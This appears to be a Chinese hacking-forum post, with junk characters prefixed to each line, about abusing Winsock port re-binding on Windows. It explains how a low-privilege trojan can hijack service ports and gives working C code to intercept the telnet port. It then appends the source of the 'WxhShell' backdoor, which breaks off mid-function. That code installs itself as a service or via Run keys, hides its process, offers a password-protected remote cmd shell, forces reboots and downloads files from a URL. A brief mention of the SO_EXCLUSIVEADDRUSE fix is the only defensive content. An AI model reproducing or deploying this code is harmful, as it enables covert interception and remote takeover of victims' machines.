在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\7t5U7v8U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
iL0jpa<} !
nCjA\$ saddr.sin_family = AF_INET;
7O+Ij9+{n JXL9Gge saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@Xve qUUU S0N2rU bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;;YcuzQI3 oF;%^XFp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
HCJ8@nki 9'n))%CZ. 这意味着什么?意味着可以进行如下的攻击:
xi?P(sA s~Lfi. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:J Gl>V 'n^2|"$sH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;v,9v;T 1c)\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%Ui{=920 %wt2F-u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i5
L:L ` /I bWu 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!f\?c7 Gpdv]SON{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
dU ,)TKQ $bZu^d, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*|LbbRu PG6[lHmi #include
b8N[."~: #include
I%}L@fZ #include
<AI>8j6#B #include
c Q(}^KO DWORD WINAPI ClientThread(LPVOID lpParam);
-XBKOybHBO int main()
|;A9A's {
DO&+=o`" WORD wVersionRequested;
HQ^9[HN. DWORD ret;
*.m{jgi1X WSADATA wsaData;
r"{Is?yKe BOOL val;
6kt]`H`cfJ SOCKADDR_IN saddr;
\}$*}gW[} SOCKADDR_IN scaddr;
RDs,sj/Y9? int err;
Y&vHOA SOCKET s;
jDlA<1 SOCKET sc;
2Vp>" int caddsize;
8^/+wa+G HANDLE mt;
n}< ir!ZTO DWORD tid;
y#S1c)vU wVersionRequested = MAKEWORD( 2, 2 );
M!N`
Orz err = WSAStartup( wVersionRequested, &wsaData );
4 ,p#:! if ( err != 0 ) {
eM?rc55| printf("error!WSAStartup failed!\n");
ta&Q4v&- return -1;
8To7c }
&sm
@ saddr.sin_family = AF_INET;
owE<7TGPI? 29"mE;j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
XVQL.A7 ?^LG
hdR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YF}9k saddr.sin_port = htons(23);
b/}'Vf[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
a(8>n
Z,V {
o" |O
] printf("error!socket failed!\n");
i{gDW+N return -1;
7w "sJ }
f5@.^hi[ val = TRUE;
89zuL18V //SO_REUSEADDR选项就是可以实现端口重绑定的
OuB2 x=B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h ZoC _\ {
ZV!R#Xv printf("error!setsockopt failed!\n");
'sj9[o@] return -1;
sf Dg/ a }
3PsxOb+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d,)}+G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[ZuVUOm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SK's!m:r=
?E%+}P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x.I][(} {
kr^0% A ret=GetLastError();
hzaU8kb printf("error!bind failed!\n");
cX2$kIs; return -1;
__8&Jv\ }
Js/N()X listen(s,2);
6hZ.{8e0 while(1)
1|W2s\ {
('=Z}~ caddsize = sizeof(scaddr);
ytEQ` //接受连接请求
j*XjY[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>f>V5L%1 if(sc!=INVALID_SOCKET)
/x$}D=(CZ {
g{e/X~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
21U&Ww if(mt==NULL)
>yX/+p_ {
;:P7}v fz! printf("Thread Creat Failed!\n");
>GgE,h break;
bn $)f6% }
!6lOIgn }
^D>fis CloseHandle(mt);
]* 0(-@ }
'?5S"?? closesocket(s);
+6
ho)YL WSACleanup();
2zhn`m return 0;
^[#=L4 }
fTBVvY4( DWORD WINAPI ClientThread(LPVOID lpParam)
k!&:(] {
z^'n*h SOCKET ss = (SOCKET)lpParam;
+vf:z?I8 SOCKET sc;
YUCC*t unsigned char buf[4096];
JRq3>P SOCKADDR_IN saddr;
Q |%-9^ long num;
C ck#Y DWORD val;
Y.7} DWORD ret;
n[|6khOL- //如果是隐藏端口应用的话,可以在此处加一些判断
Y,'%7u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E${J saddr.sin_family = AF_INET;
n!ZMTcK8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
mB~~_]M
N saddr.sin_port = htons(23);
`g--QR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d ,UCH {
$%Z3;:<Uf- printf("error!socket failed!\n");
^+wk return -1;
40u7fojg2 }
CI^[I\$& val = 100;
\0nlPXk?G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
})PO7: {
d.p'pGL ret = GetLastError();
T<P0T< return -1;
`%Q&</X }
wqP2Gw7jh6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>VP5vkv= {
b:1 L@8s; ret = GetLastError();
dq(E&`SzK return -1;
UU[H@ym# }
?pqU3-knH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~q 7;8<U {
q4/909x= printf("error!socket connect failed!\n");
UA0F): closesocket(sc);
tF^g<)S;t closesocket(ss);
eQ;Q4 return -1;
gX^ PSsp }
o5SQ1;`
while(1)
myIe_k,F {
W&YU^&`Yr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
OM)3Y6rK //如果是嗅探内容的话,可以再此处进行内容分析和记录
V#L'7">VP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zW5C1:.3K num = recv(ss,buf,4096,0);
*GJ:+U&m[ if(num>0)
b!^@PIX send(sc,buf,num,0);
|NJ}F@t/5 else if(num==0)
vQgq]mA? break;
w^Ag]HZN num = recv(sc,buf,4096,0);
6Hk="$6K if(num>0)
~>g+2]Bn>$ send(ss,buf,num,0);
\x(^]/@ else if(num==0)
f}iU& 3S break;
dw9T f ^V }
hO3{ closesocket(ss);
Wo!;K|~P closesocket(sc);
u h)o return 0 ;
{n&Uf{ }
k3>YBf`fC H O*YBL [9AM\n>g ==========================================================
F?BS717qS% s6n`?,vw 下边附上一个代码,,WXhSHELL
APq7 f8t E{%SR ==========================================================
nxfoWy ~8{sA5y #include "stdafx.h"
KP{3iUqvO _{)9b24(
#include <stdio.h>
s$ z2 c #include <string.h>
T<yb#ak #include <windows.h>
u okc:D #include <winsock2.h>
4x=(Zw_X #include <winsvc.h>
~KPv7WfG #include <urlmon.h>
X#`dWNrN C?o6(p"b #pragma comment (lib, "Ws2_32.lib")
G\kpUdj} #pragma comment (lib, "urlmon.lib")
4MLH+/e Oaa"T8t #define MAX_USER 100 // 最大客户端连接数
59lj7 #define BUF_SOCK 200 // sock buffer
sJU`u'w #define KEY_BUFF 255 // 输入 buffer
qybxXK: ]iVLHVqz #define REBOOT 0 // 重启
/iG7MC\` #define SHUTDOWN 1 // 关机
WbcS: !0 4TZ cc|B5 #define DEF_PORT 5000 // 监听端口
J#
EP% 5FOqv=6S #define REG_LEN 16 // 注册表键长度
jDX>izg;V #define SVC_LEN 80 // NT服务名长度
-[heV| $; {v,)G)obWw // 从dll定义API
-c+]Wm"\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i=#F)AD^5# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!OAvD# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
h/m6)m.D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+TSSi em v* ~3Z1 // wxhshell配置信息
gKi{Y1 struct WSCFG {
HID([Wk int ws_port; // 监听端口
NBOCt)C;H char ws_passstr[REG_LEN]; // 口令
^RNOcM| int ws_autoins; // 安装标记, 1=yes 0=no
S|AjL
Ng# char ws_regname[REG_LEN]; // 注册表键名
O|'1B>X char ws_svcname[REG_LEN]; // 服务名
Ll}yJ#3, char ws_svcdisp[SVC_LEN]; // 服务显示名
KY.ZT2k char ws_svcdesc[SVC_LEN]; // 服务描述信息
,Eu?JH&}u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U(,.D}PG int ws_downexe; // 下载执行标记, 1=yes 0=no
z9
($. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
uM S*(L_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
sn{tra Mu&x_&| };
y{=>$C[
ZA820A>2! // default Wxhshell configuration
|5MbAqjzC struct WSCFG wscfg={DEF_PORT,
`^6 ,kI-c "xuhuanlingzhe",
@dEiVF`4: 1,
75NRCXh. "Wxhshell",
AK@L32-S "Wxhshell",
[Qj;/ "WxhShell Service",
<]d
LX}C) "Wrsky Windows CmdShell Service",
E=w3=\JP "Please Input Your Password: ",
nc?B6IV 1,
lm0N5(XP "
http://www.wrsky.com/wxhshell.exe",
Tv$sqVe9 "Wxhshell.exe"
$[ z y };
5zB~4 u g0&\l}&%U // 消息定义模块
a9Y5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@_yoX(.E& char *msg_ws_prompt="\n\r? for help\n\r#>";
]l;*$2w) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1[PMDS_X char *msg_ws_ext="\n\rExit.";
WNy3@+@GZ char *msg_ws_end="\n\rQuit.";
j-b* C2l char *msg_ws_boot="\n\rReboot...";
&c%Y<1e`% char *msg_ws_poff="\n\rShutdown...";
0XU}B\'< char *msg_ws_down="\n\rSave to ";
r>t1 _b+nu ,wj"! o# char *msg_ws_err="\n\rErr!";
jndGiMA char *msg_ws_ok="\n\rOK!";
Qa4MZj;$K EgM*d)X char ExeFile[MAX_PATH];
JL^2l$up int nUser = 0;
]?LB?:6 HANDLE handles[MAX_USER];
zP) ~a int OsIsNt;
~
'Vxg} D4u%6R|F SERVICE_STATUS serviceStatus;
A :e;k{J SERVICE_STATUS_HANDLE hServiceStatusHandle;
h~}.G{" l#qv 5f // 函数声明
jvwwJ<K int Install(void);
D E/:[' int Uninstall(void);
E"PcrWB& int DownloadFile(char *sURL, SOCKET wsh);
@cD uhK"U} int Boot(int flag);
*?%
k#S void HideProc(void);
egR-w[{ int GetOsVer(void);
!8Rw O%c( int Wxhshell(SOCKET wsl);
tWPO]3hW void TalkWithClient(void *cs);
{D`T0qPT[ int CmdShell(SOCKET sock);
osP\DiQ int StartFromService(void);
G|
m4m. int StartWxhshell(LPSTR lpCmdLine);
H9 tXSh A\sI<WrH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1vevEa$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ULqoCd%bK ^{yk[tHpS // 数据结构和表定义
{2KFD\i\ SERVICE_TABLE_ENTRY DispatchTable[] =
\2e0|)aF6 {
zGlZ!t: {wscfg.ws_svcname, NTServiceMain},
L}k/9F.5 {NULL, NULL}
G}zZQy };
pdVQ*=c?M 3Ofc\ // 自我安装
m`A%
p int Install(void)
w=7L3AW {
E-2eOT char svExeFile[MAX_PATH];
@{HrJ/4%:& HKEY key;
|oFAGP1 strcpy(svExeFile,ExeFile);
obH;g* 47>>4_Hz // 如果是win9x系统,修改注册表设为自启动
DXR:1w[^ if(!OsIsNt) {
~$,qgf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4'>1HW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i@P}{ RegCloseKey(key);
jLVl4h& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W;_E 4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kU l RegCloseKey(key);
6g:|*w return 0;
WcUJhi^\C }
!36]ud& }
\Y|*Nee}XP }
P:xT0gtt else {
hpbf&S4 PAF8Wlg // 如果是NT以上系统,安装为系统服务
9$*s8}| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7<\C?`q" if (schSCManager!=0)
C(?blv-vM0 {
;{Ux_JEg SC_HANDLE schService = CreateService
t*S."
q (
@x&P9M0g schSCManager,
E,[xUz" wscfg.ws_svcname,
J$ut_N):N wscfg.ws_svcdisp,
*ZCn8m:-+ SERVICE_ALL_ACCESS,
I:j3sy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~mz%E SERVICE_AUTO_START,
@mQ:7-,~ SERVICE_ERROR_NORMAL,
/F/;G*n svExeFile,
S~OhtHwK NULL,
E /<lGm:. NULL,
3R$Z[D- NULL,
ps|)cW3` NULL,
kGYTl,A{ NULL
tln37vq );
5]Ajf;W\ if (schService!=0)
@z`@f"l {
JK_OZ CloseServiceHandle(schService);
))h6~1` CloseServiceHandle(schSCManager);
xyh.N) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$7Jo8^RE strcat(svExeFile,wscfg.ws_svcname);
}:Z9Vc ZP` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
N_C;&hJN$w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9)dfL?x8V{ RegCloseKey(key);
'fd1Pj9~$ return 0;
ib6^x:HGU }
AONDx3[
}
G=9d&N CloseServiceHandle(schSCManager);
a:STQk V }
|AZW9 }
io2)1cE&f R!\EKH return 1;
.p`
pG3 }
:Ixx<9c. 9"{W,'r&d // 自我卸载
j7QX,_Q int Uninstall(void)
`TLzVB-j3 {
{tP%epQ HKEY key;
B2=\2< /+K? if(!OsIsNt) {
WN]<q`. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'I}:!Z RegDeleteValue(key,wscfg.ws_regname);
J4$!
68 RegCloseKey(key);
tfO#vw,@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YPDf
Y<?v RegDeleteValue(key,wscfg.ws_regname);
v6(E3)J7 RegCloseKey(key);
V>-b`e return 0;
~l[ra }
=3xE: }
QP@<)`1t9 }
iI1n2>V3y else {
/u<nLj 1 *~XA'Vw! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kb;dKQ if (schSCManager!=0)
/7c~nBU {
$rB3m~c| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:*514N if (schService!=0)
]jMKC8uz {
dtStTT if(DeleteService(schService)!=0) {
T.e.{yO CloseServiceHandle(schService);
7j<e)" CloseServiceHandle(schSCManager);
Dr3n+Q return 0;
m|tC24 }
s54nF\3V CloseServiceHandle(schService);
UPU+ver }
2!1.E5.I CloseServiceHandle(schSCManager);
6]cryf&b }
U%<rn(xWXD }
}j 5 a[L t0&@h\K return 1;
SuBeNA[& }
lJ;J~> EV M7Q> // 从指定url下载文件
NcS.49 int DownloadFile(char *sURL, SOCKET wsh)
;Y9=!.Ak0y {
ff?t[GS HRESULT hr;
Rg&-0b char seps[]= "/";
)}v3q6?_ char *token;
R9vT[{!i char *file;
$"JpFT char myURL[MAX_PATH];
NR%Y+8^M char myFILE[MAX_PATH];
}CL"S_>1 bp<^R strcpy(myURL,sURL);
l(W[_ D token=strtok(myURL,seps);
!\ND( while(token!=NULL)
V)M1YZV{ {
5X.ebd;PT file=token;
% ~]xuP[ token=strtok(NULL,seps);
&$FvWFRh# }
F'PQqb { >T3H qYX5W GetCurrentDirectory(MAX_PATH,myFILE);
&Nl2sey strcat(myFILE, "\\");
\5
pu|2u strcat(myFILE, file);
+YY8h>hj send(wsh,myFILE,strlen(myFILE),0);
zR6siAV9 send(wsh,"...",3,0);
qZk'tRv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hi2sec|;< if(hr==S_OK)
klOp ^w return 0;
rnFM/GAy else
kfb/n)b' return 1;
]DG?R68DQ >QE{O.Z }
^ZeJ[t&!# VaZn{z // 系统电源模块
n`Z"rwKmNw int Boot(int flag)
f'(l&/4z{ {
GOy%^:Xd HANDLE hToken;
1MsWnSvzf TOKEN_PRIVILEGES tkp;
'!h/B;*( 4Cb9%Q0 if(OsIsNt) {
,<,:8B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&a)eJF]:! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
q0mOG^ tkp.PrivilegeCount = 1;
l;X|=eu' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?9MVM~$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
10[Jl5+t if(flag==REBOOT) {
yq[Cq=rBk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
n| O [a6G return 0;
yqOuX>m 1c }
e&q?}Ho else {
7^TV~E# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
faXx4A2" return 0;
Tpp & }
?^#lWx q }
's
x\P[a else {
qOV[TP, if(flag==REBOOT) {
CG]Sj*SA~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:,pSWfK H return 0;
@ez Tbc3 }
;$j7H&UNQj else {
#C*8X+._y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!LM<:kf.| return 0;
.0HZNWRtb }
ybdd;t}&1 }
Y$8JM t%1 ^Li return 1;
O;Y:uHf }
t=euE{c Kr`]_m // win9x进程隐藏模块
4pU>x$3$ void HideProc(void)
D<{{ :7n {
!G5a*8] &F$:Q:* * HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
d5I f"8`@ if ( hKernel != NULL )
]<uQ.~ {
R5_i15< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8[%Ao/m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qa >Ay|92e FreeLibrary(hKernel);
[&S}dQ" }
Oeya%C5' hv$yV%.` return;
[ee%c Xo }
cp
Ear AF,BwLN // 获取操作系统版本
HG>j5 int GetOsVer(void)
wmr-}Y!9u% {
4b]a&_-} OSVERSIONINFO winfo;
%~|HFYd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"%2xR[NF GetVersionEx(&winfo);
~vdkFc(8B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]1-z!B 4K return 1;
=TvzS%U else
ITuq/qts]A return 0;
cF T 9Lnz }
?ne_m:J[ 2LY=DL7 // 客户端句柄模块
!{^\1QK int Wxhshell(SOCKET wsl)
O OFVnu {
9X<OJT;3J SOCKET wsh;
s$h]
G[x struct sockaddr_in client;
!7B\Xl'S DWORD myID;
)o _j]K+xI {[Q0qi = while(nUser<MAX_USER)
@{
;XZb^ {
:B*}^g int nSize=sizeof(client);
uUR~&8ERX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&.i^dO^} if(wsh==INVALID_SOCKET) return 1;
IputF<p v]:=K-1n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w[Gh+L30=5 if(handles[nUser]==0)
72oWhX=M% closesocket(wsh);
s0UFym8 else
qd@&59zSh nUser++;
)4Q?aMm }
o;F" {RZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
a5'#j35 {2'm^0Kl return 0;
Jhkvd<L8`m }
Fnx`Ri J<j&;:IRd // 关闭 socket
dpZ;l 9 void CloseIt(SOCKET wsh)
Mc sTe|X {
-7>)i closesocket(wsh);
("7M
b{ nUser--;
*mG`_9 ExitThread(0);
Z5G!ct:W }
kQdt}o]) mo]KCi // 客户端请求句柄
`RQ#. void TalkWithClient(void *cs)
92W&x' {
DLE8+NV8
vy@rQC %9 SOCKET wsh=(SOCKET)cs;
g{s'GyV8t char pwd[SVC_LEN];
JYqSL)Ta*t char cmd[KEY_BUFF];
nCg66-3A char chr[1];
EEy$w1ec int i,j;
d4[(8}
x$/ 01a-{&
while (nUser < MAX_USER) {
u8b2$D JEn3`B!* if(wscfg.ws_passstr) {
rWtZj}A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=#5D(0Ab //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<T?oKOD ] //ZeroMemory(pwd,KEY_BUFF);
OqhD7 + i=0;
6V9doP ]i while(i<SVC_LEN) {
&`|:L(+ ~K_Uq*dCE // 设置超时
<{(/E0~V/< fd_set FdRead;
^o?S M^ struct timeval TimeOut;
X##1!
ad FD_ZERO(&FdRead);
!SOrCMHx FD_SET(wsh,&FdRead);
eZhPu'id\s TimeOut.tv_sec=8;
dP$GThGl TimeOut.tv_usec=0;
M
s9E@E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qgt[ ~i* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3{Nbp %rQuBi# 1f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pfuW pwd
=chr[0]; Lr;(xw\['
if(chr[0]==0xd || chr[0]==0xa) { z~6y+
pwd=0; z1OFcqm
break; EfLO5$?rm
} k?nQ?B
W
i++; w-B^
[<
} R
u?ek|%Ok
// 如果是非法用户,关闭 socket I&c ~8Dw
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )-rW&"{U
} #4LFG\s
~Z/
^c,[:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }Y(]6$uS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $V>98M>j
+H/jK @
while(1) { 7"X>?@
n]W_e
ZeroMemory(cmd,KEY_BUFF); K?x,T8<aW
ge3sU5iZ
// 自动支持客户端 telnet标准 >r/rc`Q
j=0; XhzGLYb~I`
while(j<KEY_BUFF) { Rn%N&1
Ef
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ko>&)%))$X
cmd[j]=chr[0]; f67NWFX
if(chr[0]==0xa || chr[0]==0xd) { }0hL~i
cmd[j]=0; R$kpiqK
break; =tTqN+4
} 2],_^XBvB
j++; p4> $z& _
} ]Hj<IvG
9ch#}/7B
// 下载文件 Z[!d*O%R_
if(strstr(cmd,"http://")) { Ey{%XR+*;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1iT\df
if(DownloadFile(cmd,wsh)) k#TYKft
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!xVgM{
else aMARZ)V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [36,eK
} u]^N&2UW
else { ^62|d
&}mw'_ I
switch(cmd[0]) { (oK^c-x
iyZZ}M
// 帮助 ylf[/='0K
case '?': { Sgb*tE)T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U7mozHS,:9
break; PHg48Y"Nd
} et,GrL)l
// 安装 /e\{
case 'i': { z!QDTIb
if(Install()) `+lHeLz':
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =bh*[,-
else ~H)4)r^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $v.C0 x
break; 9_ICNG%
} M/PFPJ >`
// 卸载 $DFv30 f
case 'r': { QlFZO4 P3|
if(Uninstall()) +YOKA*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qJ!Z~-hS
else 39U5jj7i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +eQe%U
break; $m1<i?'m
} YIt9M,5/Q
// 显示 wxhshell 所在路径 Y /TlE?
case 'p': { gsar[gZ
char svExeFile[MAX_PATH]; sH,kW|D
strcpy(svExeFile,"\n\r"); /z7VNkD
strcat(svExeFile,ExeFile); m4k
Bj*6c{
send(wsh,svExeFile,strlen(svExeFile),0); gV1[3dW
break; ?71+f{s
} &Wp8u#4L
// 重启 S,fCV~Cio?
case 'b': { F1;lQA*7K.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3T\l]? z
if(Boot(REBOOT)) `"yxdlXA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y #f
QPR
else { :_<_[Y]1
closesocket(wsh); ukgAI<O%
ExitThread(0); zHWSE7!
} ?B@;QjhjiJ
break; mN`YuR~
} i[C~5}%
// 关机 'PZ|:9FX!
case 'd': { 9DQ)cy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TjWE_Bq]g
if(Boot(SHUTDOWN)) DVZdClAL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!e<}84b
else { c97{Pu
closesocket(wsh); uaw~r2
ExitThread(0); o!TQk{0
} ubMOD<
break; %OR|^M
} $lIWd
// 获取shell idc`p?XP
case 's': { _Jz8{` "
CmdShell(wsh); \e=_
2^v!_
closesocket(wsh); D'<VYl"/
ExitThread(0); l@j.hTO<
break; vgIpj3u
} A*h{Lsx;
// 退出 i
LBvGZ<9
case 'x': { +.B<Hd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t9gfU5?
CloseIt(wsh); :pX`?Ew`g
break; _i_Q?w`
} ->z54 T
// 离开 # M, 7
case 'q': { )"(] Lf's
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |rw%FM{F
closesocket(wsh); N(6|yZ<J3M
WSACleanup(); mM.*b@d-
exit(1);
>DM44
break; V~DMtB7
} :nHKl
} /StTb,
} 5FVndMM#y
:%&Q-kk4!
// 提示信息 M69
w-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vD/NgRBww
} 5[l8y,
} {U]H;~3 ?
0l*]L`]L#
return; w1x"
c>1C
} '# NcZy
k-V,~c
// shell模块句柄 ~9^)wCM+
int CmdShell(SOCKET sock) ,&PE6hn
{ C,V%B
STARTUPINFO si; 1sE?YJP-
ZeroMemory(&si,sizeof(si)); G2 ]H6G$M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !J1rRPV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _cTh#t ^
PROCESS_INFORMATION ProcessInfo; :Eh\NOc_O
char cmdline[]="cmd"; onCKI,"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [AH6~-\ x
return 0; ( m\$hX
} r;9 r!$d
c$S{^IQ
// 自身启动模式 cEW0;\$
int StartFromService(void) mE O\r|A
{ 8,D 2^Gg
typedef struct (@X~VACT
{ Wc3kO'J
DWORD ExitStatus; fy@avo9
DWORD PebBaseAddress; Dih6mTP{
DWORD AffinityMask; ;Mm7n12z C
DWORD BasePriority; 7A\Cbu2tf
ULONG UniqueProcessId; 7g=2Z[o
